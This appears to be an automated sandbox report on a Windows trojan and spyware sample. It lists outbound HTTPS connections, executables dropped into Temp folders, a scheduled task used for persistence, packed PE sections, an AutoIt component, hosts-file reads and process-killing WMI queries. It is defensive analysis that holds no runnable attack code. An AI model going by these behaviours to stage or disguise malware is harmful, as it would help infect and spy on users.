Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49952 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: 9108c36d20.exe, 0000000C.00000002.2768979583.0000000000F32000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_c2e6fa12-1
Source: 9108c36d20.exe, 0000000C.00000002.2768979583.0000000000F32000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_fff64eeb-5
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .rsrc
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: random[1].exe.6.dr Static PE information: section name:
Source: 150f368769.exe.6.dr Static PE information: section name:
Source: 150f368769.exe.6.dr Static PE information: section name: .rsrc
Source: 150f368769.exe.6.dr Static PE information: section name: .idata
Source: 150f368769.exe.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: 22a4a09ee3.exe.6.dr Static PE information: section name:
Source: 22a4a09ee3.exe.6.dr Static PE information: section name: .idata
Source: 22a4a09ee3.exe.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: .idata
Source: random[1].exe1.6.dr Static PE information: section name:
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name:
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name: .idata
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name:
Source: random[2].exe.6.dr Static PE information: section name:
Source: random[2].exe.6.dr Static PE information: section name: .idata
Source: 99fdcf0a11.exe.6.dr Static PE information: section name:
Source: 99fdcf0a11.exe.6.dr Static PE information: section name: .idata
Creates files inside the system directory
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00219030 2_1_00219030
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001F9E16 2_1_001F9E16
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001F6815 2_1_001F6815
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_000B6A3A 2_1_000B6A3A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00092C33 2_1_00092C33
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001EFC7E 2_1_001EFC7E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0012DEA3 2_1_0012DEA3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_000F72BD 2_1_000F72BD
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001E76F3 2_1_001E76F3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001EAD0A 2_1_001EAD0A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001E912F 2_1_001E912F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001E435F 2_1_001E435F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001EE5C6 2_1_001EE5C6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_001EC5E0 2_1_001EC5E0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_0001E530 6_2_0001E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00057049 6_2_00057049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00058860 6_2_00058860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_000578BB 6_2_000578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00052D10 6_2_00052D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_000531A8 6_2_000531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00014DE0 6_2_00014DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00014B30 6_2_00014B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00047F36 6_2_00047F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_0005779B 6_2_0005779B
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61EAD2AC 10_2_61EAD2AC
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E4B8A1 10_2_61E4B8A1
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E75F1F 10_2_61E75F1F
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E40065 10_2_61E40065
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E9E24F 10_2_61E9E24F
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E62554 10_2_61E62554
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E9A4A7 10_2_61E9A4A7
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E4E4BF 10_2_61E4E4BF
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E94783 10_2_61E94783
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E7A790 10_2_61E7A790
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E18736 10_2_61E18736
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E86668 10_2_61E86668
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E58670 10_2_61E58670
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E6667F 10_2_61E6667F
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61EA0BA9 10_2_61EA0BA9
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E62CA3 10_2_61E62CA3
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E98FE2 10_2_61E98FE2
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E88FCA 10_2_61E88FCA
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E52F80 10_2_61E52F80
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61EA2F47 10_2_61EA2F47
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E56F18 10_2_61E56F18
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E4CEF9 10_2_61E4CEF9
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E1EEFF 10_2_61E1EEFF
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61EA91F6 10_2_61EA91F6
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E651DD 10_2_61E651DD
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E9316A 10_2_61E9316A
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E9F0ED 10_2_61E9F0ED
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61EA70CF 10_2_61EA70CF
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E9D0C3 10_2_61E9D0C3
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E8D0B6 10_2_61E8D0B6
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E6904E 10_2_61E6904E
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E4304E 10_2_61E4304E
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E15337 10_2_61E15337
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E672DC 10_2_61E672DC
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E19208 10_2_61E19208
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E534E3 10_2_61E534E3
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E77452 10_2_61E77452
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E37930 10_2_61E37930
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E21816 10_2_61E21816
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E9FBF0 10_2_61E9FBF0
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E55BD7 10_2_61E55BD7
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61EA5B62 10_2_61EA5B62
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E91DC1 10_2_61E91DC1
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E6DDA5 10_2_61E6DDA5
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E31DAB 10_2_61E31DAB
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E95D7A 10_2_61E95D7A
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E5BC4C 10_2_61E5BC4C
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E25FA2 10_2_61E25FA2
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E1DEC2 10_2_61E1DEC2
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E69E8F 10_2_61E69E8F
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E89E0E 10_2_61E89E0E
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: file.exe Static PE information: Section: hhtplcno ZLIB complexity 0.9946330047033285
Source: skotes.exe.0.dr Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: skotes.exe.0.dr Static PE information: Section: hhtplcno ZLIB complexity 0.9946330047033285
Source: random[1].exe.6.dr Static PE information: Section: ajtwcbtw ZLIB complexity 0.9946400542237442
Source: 150f368769.exe.6.dr Static PE information: Section: ajtwcbtw ZLIB complexity 0.9946400542237442
Source: random[1].exe0.6.dr Static PE information: Section: ZLIB complexity 0.9993212090163934
Source: random[1].exe0.6.dr Static PE information: Section: dkoidnzf ZLIB complexity 0.9944298423946716
Source: 22a4a09ee3.exe.6.dr Static PE information: Section: ZLIB complexity 0.9993212090163934
Source: 22a4a09ee3.exe.6.dr Static PE information: Section: dkoidnzf ZLIB complexity 0.9944298423946716
Source: random[1].exe1.6.dr Static PE information: Section: plxaxrgl ZLIB complexity 0.9944965902278178
Source: 8c3bfc0f85.exe.6.dr Static PE information: Section: plxaxrgl ZLIB complexity 0.9944965902278178
Source: random[1].exe.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 150f368769.exe.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@70/40@25/13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2516:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3060:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5984:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5328:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5240:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5660:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985 Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
